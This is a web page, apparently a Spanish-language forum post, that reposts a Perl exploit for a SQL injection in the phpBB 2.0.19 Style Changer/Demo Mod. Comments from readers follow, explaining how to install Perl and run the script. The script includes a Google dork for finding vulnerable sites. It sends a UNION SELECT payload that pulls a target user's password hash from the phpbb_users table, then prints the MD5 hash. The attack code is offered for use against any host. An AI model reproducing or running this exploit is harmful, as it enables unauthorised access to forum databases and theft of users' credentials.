phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection Exploit

#!/usr/bin/perl
#########################################################
# _______ _______ ______ #
# |______ |______ |     \ #
# ______| |______ |_____/ #
#                         #
#phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT #
#Created By SkOd                                        #
#SED security Team                                      #
#http://www.sed-team.be                                 #
#skod.uk@gmail.com                                      #
#ISRAEL                                                 #
#########################################################
#google:
#"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style"
#########################################################
use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#   phpBB Style Changer\Viewer MOD SQL injection Exploit   #
# Tested on phpBB 2.0.19    #
#     created By SkOd. SED Security Team             #
############################################################
bbstyle.pl [HOST] [PATH] [Target id]
bbstyle.pl www.host.com /phpbb2/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];
print "[+]Make Connection\n";
$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
while ($hash = <$socket>){
$hash =~ m/open(.*?)template/ && print "[+]User id: $id\n[+]Md5 Hash: $1\n";
}

ay k kompliarlo? komo?

ay k kompliarlo? komo?

es perl

como se ve en la primera linea del exploit, es perl
#!/usr/bin/perl
el perl no necesita ser compilado, pero si necesitas tener el perl instalado en tu ordenador

en linux (debian) solo tienes que hacer un apt-get install perl, para windows ves a la web de perl

http://es.wikipedia.org/wiki/Perl
http://www.perl.com/
http://www.perl.com/download.csp#win32

para ejecutarlo basta con unperl exploit.pl
OeX:/home/OeX/Desktop/src# perl test.pl

#############################################################
## phpBB Style Changer\Viewer MOD SQL injection Exploit #
## Tested on phpBB 2.0.19 #
## created By SkOd. SED Security Team #
#############################################################
#bbstyle.pl [HOST] [PATH] [Target id]
#bbstyle.pl www.host.com /phpbb2/ 2
############################################################
--
OeX

Enviar un comentario nuevo

  • Saltos automáticos de líneas y de párrafos.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <img> <p> <br>
  • You may post code using <code>...</code> (generic) or <?php ... ?> (highlighted PHP) tags.

Más información sobre opciones de formato

CAPTCHA
This question is for testing whether you are a human visitor and to prevent automated spam submissions.
Image CAPTCHA
Copy the characters (respecting upper/lower case) from the image.